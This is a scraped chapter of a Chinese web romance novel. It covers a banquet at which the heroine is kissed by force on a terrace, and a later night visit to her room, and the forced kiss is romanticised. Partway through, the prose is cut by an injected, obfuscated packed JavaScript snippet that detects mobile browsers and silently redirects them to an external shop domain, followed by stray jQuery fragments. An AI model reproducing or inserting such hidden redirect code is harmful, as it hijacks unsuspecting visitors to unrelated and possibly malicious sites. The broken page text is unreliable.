文趣网 > 其他小说 > 春夜有情时 > 28. 宴会
    周恒宇像个正经人一样转了一圈,最后站到粱易身边。

    他们对面站着的,大概是商业伙伴,一群人年纪相仿,正姿态闲适,谈笑风生。

    话题延伸到业务上,有人忍不住高谈阔论,声量一高,不免吸引到周围人的目光,如果这个时候看过去,很难不注意其中最清贵抢眼的人。

    祝梦亭说出了大多数人的想法:“怎么看上去,粱总才是那个说得上话的人。”

    的确如此,周恒宇在这样的场合里,一向不爱搭话,也懒得出风头。

    他觉得万事都有粱易。

    只是不知道他有没有发现,粱易渐渐开始掌控全局。

    “听说梁总现在负责乌山的酒店开发,这算发配边疆吗?”祝梦亭对商业一窍不通。

    肖世仪睨了她一眼,并不太想随意议论他,一些很微妙的心事,他的名字从嘴边滚过,都像包含深意。

    尽管别人并不知道。

    那群人声音一下子又低下来,忽然之间,几人的视线转过来,不偏不倚地落在肖世仪身上。

    有些个性张扬的人,也不遮掩,含着笑意打量。

    祝梦亭凑上来说:“他们在看你。”

    但肖世仪平静地回视过去。

    想也知道,他们在聊些什么,无非是周肖联姻的八卦。在这样的调侃里,也许是心虚,周恒宇只匆匆投过来一眼,就避开了。

    她捕捉到这一点细节,微微皱眉。

    然后,话题应该是蜻蜓点水般略过了,肖世仪不敢细看,因为粱易的目光,一直定在她身上,她全程没有对视。

    她的演技没有那么好,感受到身体发紧,于是对祝梦亭说:“我去外面透口气。”

    “我陪你?”

    “你玩吧。”她回身笑笑,端起一杯香槟,独自离开了。

    宴会厅紧接着一片露台,摆满形形色色的植物,几张长椅间隔摆放,与室内相隔,靠的是薄薄的轻纱。

    夏天的夜晚,凉风阵阵,离开了人头攒动的衣香鬓影,有一种清新的感觉,铺面而来。

    但这里为了装饰,盆栽众多,难免有蚊虫,一般人不愿意过来。

    肖世仪也没有坐下,靠在门框处,小口啜饮。

    软白的轻纱层层叠叠,极好地隐蔽了她。

    这份不被打扰的安静没有持续太长时间,很快,她就被发现了。

    在她百无聊赖抬眼的瞬间,粱易看了过来,视线相撞,她挑了下眉。

    这方露台没有亮灯,只有几盏昏黄的小灯,其实她做任何表情都难以察觉,因此有些放肆。

    粱易抬腿正欲迈过来。

    周恒宇从身后拉了他一把:“世仪呢?”

    这话是对旁边的祝梦亭说的。

    祝梦亭好心地指了指她的方向。

    顺着她的手势,周恒宇将身后两人略过,几步跨了过来,站到了肖世仪的身侧,薄纱的后面。

    从光亮处看过来,他们像姿态亲昵的恋人。

    肖世仪愕然抬头,被周恒宇抢先回了句:“帮个忙,他们都在看着呢。”

    从乌山回来后,周老太太看他看得很紧,这场宴会开始前,也是耳提面命,务必要他照顾好世仪。

    烦都要烦死,干脆做个戏。

    他整个人将她严严实实堵住,完全看不见外面的情形。

    几分钟后,肖世仪从周恒宇身后,探头望了望,看到周旋于宴会厅的侍者,在几次三番转过来后,终于放心离去。

    她后退一步,说:“可以了。”

    周恒宇却没立刻就走,借着开阔的露台,扬了扬手中的烟:“不介意吧?”

    他话音未落,烟已经点上,仿佛只是个免责声明。

    肖世仪安静地站在一边。

    “这样下去不行,得想个招。”他呼出一团白雾,心思也轻飘飘。

    肖世仪忍不住问:“这是很难办的事情吗?”

    不过是奉家里之命,彼此接触而已,时间一长,她就准备找个理由回绝,周恒宇看上去不愿做这个恶人,她不介意承担这份责任。

    “不难办。”周恒宇在花盆边缘熄灭烟,忽然直起身说,“咱俩真谈了就不难办了。”

    肖世仪睁大眼睛。

    周恒宇撑起一只手,搭在她头顶的门框上,垂眸注视了她一会儿,很快笑着说:“我开玩笑的。”

    他带着惊世骇俗之语离开了露台。

    肖世仪几乎喝光了杯中全部的酒,还在对着被风吹动的绿叶发呆。

    身后有人无声无息贴近她。

    低沉的声音飘过来,“少喝一点。”

    她还沉浸在思绪里,骤然回神,后颈发麻,等视线聚焦,才发现是粱易。

    “吓死我了。”她嗔道。

    身体也是一软,向后靠在门框上,想了一下,又忽然起身,紧张地张望出去。

    “你怎么来了,他刚走。”

    在她向前靠近的时候,粱易也向前走了一步。

    他们不可避免碰在一起,而他也没有给她后退的机会,将她彻底圈在身前一处小小空间。

    “怕什么?”他也抬手,撑在门框上,比起周恒宇的松弛,他绷紧的后背线条,让他像一头在夜晚蓄势待发的猎豹,充满危险性。

    肖世仪摇头:“人多眼杂。”

    她依旧伸手去推他,感觉有一些窒息,“你透口气就出去吧,太多人......唔。”

    更深的窒息袭来了。

    粱易直接低头吻住了她。

    隔着飞扬的轻纱,她推拒的双手被他一拉一扯,反剪到身后,而他紧紧地桎梏着她,不止唇舌。

    肖世仪呜呜咽咽,让他有机可乘,舌尖很轻易地滑进去,大力地扫荡。

    他的吻一向很凶。

    肖世仪在密不透风的唇齿交缠间偏头躲避,晶亮的丝线流出来,在她忍不住要咬下去的时候,粱易退了出来。

    其实不过是短短几秒间,她抬手摁在唇上,狠狠瞪了他一眼,撞过他的臂膀,走了出去。

    她怒目圆瞪的样子,像炸毛的小猫,粱易却无心欣赏。

    起风了,薄纱翻滚间,站得近些,不可避免会被拂到,刺挠出一股氧意。

    他阴沉地想,不知道在外人看来,这曼妙薄纱后站的三个人,谁更亲密。

    宴会气氛正酣。

    肖世仪捂着唇低头穿梭在人群间,有认识的人打招呼,她不过浅尝辄止点一下头,因为她性格一向冷冷清清,这样子也没人觉得奇怪。

    正独身走着,不远处便有人喊她:“世仪!”

    是祝梦亭。

    她刚准备移过去,一抬眼,就看到她身旁的沈粱,忽然迟疑了。

    咬了下唇,她神色如常地走过去。

    祝梦亭笑着说:“和周恒宇说了一会儿话,怎么脸色这么红?”

    “不是,是喝了酒。”她摇了摇空酒杯。

    祝梦亭拖长腔:“哦——”

    要不是旁边还站着沈粱,肖世仪都要忍不住去捂她阴阳怪气的嘴了。

    沈粱静默无声地立在一边,即便不转眼去看,也能感受出他深深浅浅的打量,始终落在她身上。

    该死,她的脸有多红?

    根本不是喝酒的缘故,是刚刚那场气息交叠的湿吻,被他的唇舌包裹,由内而外,升腾出的热意,几乎要把她融化。

    好在很快有人叫走了他。

    她轻轻呼出一口气,在祝梦亭带着八卦的眼神微笑着靠近她的时候,她突然伸手,出其不意地捏住她的腮。

    祝梦亭像金鱼一样嘟着嘴,含含糊糊地说:“干嘛呀?”

    “让你多嘴......”

    结束宴会已是深夜,肖世仪没有下山,第一次留宿在周家为她准备的房间。

    离开宴会厅前,她站在周恒宇身边,和众人寒暄。

    后来,客人们渐渐离去,她又坐上周恒宇的车,进了庄园。

    在车上的时候,粱易的信息发过来。

    【Y:今晚还见面吗?】

    当时,周恒宇正和她抱怨奶奶的控制欲,她扫了一眼,关上手机,并不准备回复。

    粱易几次三番得寸进尺,她准备晾一晾他。

    周家为她准备的客卧,即使她从没来住过,每日仍专人打扫,点燃香氛。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671167|205283||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    她从浴室里走出来,餐桌边放着一碗红豆小汤圆,旁边是佣人留下的小纸条——“肖小姐,这是餐厅准备的宵夜,请慢用。”

    一晚上的社交,除了几块小点心和酒水,几乎什么也没吃,此刻,闻到热气腾腾的食物香味,她还真的有点饿。

    她坐在餐桌边,用勺子舀了一颗小汤圆,放进嘴里慢慢咀嚼。

    手机就放在手边,再没有信息进来。

    接连吃了几颗,肖世仪放下勺子,嘴里的汤圆变得黏黏糊糊,也不想多吃了。

    她起身,收拾好餐盘,重新回到浴室。

    门铃在这时响起。

    这么晚了,谁会过来?

    肖世仪抬手挽着头发,满脸疑惑地走到门边,“谁啊?”

    门外是粱易的低声:“是我。”

    想到这间套房离小楼的距离,不过隔湖相望。

    但她没有马上开门,手从头发上放下来,扶在门把手上,隔着门板说:“这么晚了,有什么事吗?”

    粱易听出她声音里的冰凉,看上去是生气了?

    他说:“你没有回我消息,我担心你。”

    肖世仪哼了一声:“在这里能有什么事?”

    “有事。”

    “什么事?”

    “你让我进去,我告诉你。”

    “......”

    她最终打开门,一张脸绷得紧紧的,斜了他一眼,紧接着就转身。

    粱易站在玄关处,看她面若寒霜地走远,无声地笑了一下。

    肖世仪继续回到浴室刷牙,耳边没有听见外面的声音,她留心凝神,又听了听。

    一抬头,镜子里出现一张俊朗的脸。

    粱易挤了进来,站在她旁边。

    她也不看他,漱完口,扭头就走。

    擦肩而过时,梁易顺势倚在洗手台上,一把将她拉了回来,把她圈在双腿之间。

    但世仪警惕心加重,抬手躲避了他的桎梏,后退一步,警告他:“你又想故技重施?”

    粱易失笑:“我就想和你说说话。”

    她扭过脸:“很晚了,我要休息了。”

    粱易拉过她的手,将她拉近自己,声音里带着一丝低哑,在她耳边说:“你生气了?对不起。”

    肖世仪耳边一热,差点忘记自己在生气,她板起脸问:“你错哪了?”

    “我不该亲得那么凶。”

    肖世仪刚想点头,又觉不对,气道:“你就不应该亲!”

    “奥,那我以后都不亲了。”

    感觉怎么说都会被他绕进去,世仪一下子梗住。

    他眼里含着笑意,低头碰了碰她的额头,轻声问:“还能亲吗?”

    好像只要她点头,他就要吻下来。

    不知道别人是什么样子,但他好像无师自通,真的很会吻,吻得她很舒服。

    其实也不是真的生气,只是耍耍小脾气罢了。

    此刻在紧密的空间里,被他一蛊惑,她的身体又要软成一滩水,一时忘记回应。

    浴室灯光高高悬在头顶,照亮她白净细嫩的一张脸,即使面无表情,也好看得紧。她穿着真丝吊带睡裙的身体,平直的肩膀,细细的手臂,还有顺着向下的身体弧度,全都白得晃眼。

    粱易忽然站直了身体,遮掩一二。

    刚刚他们几乎是紧贴在一起,她当然感受到他身体的变化。重新找回掌控力,她抬头对他意味不明地笑了笑,扯过浴巾扔给他。

    走出浴室前,留给他一句,“你洗澡吧。”

    肖世仪回到卧室,斜靠在床边,刷着手机等他。

    小视频一个接一个划上去,其实都不过脑,她在等待的时间里,无端端想起上次在小楼留宿,怎么就那么坦然地睡过去了。

    导致现在回忆起来,什么也想不到。

    粱易很快从浴室里出来,他没有带衣服,浴巾围在腰上,露出块垒分明的腰腹,比她想象中更结实。

    肖世仪吞咽了下。

    但粱易走过来,靠近她,只是说:“很晚了,睡吧。”

    两个人再一次并肩躺在床上,她感到非常匪夷所思。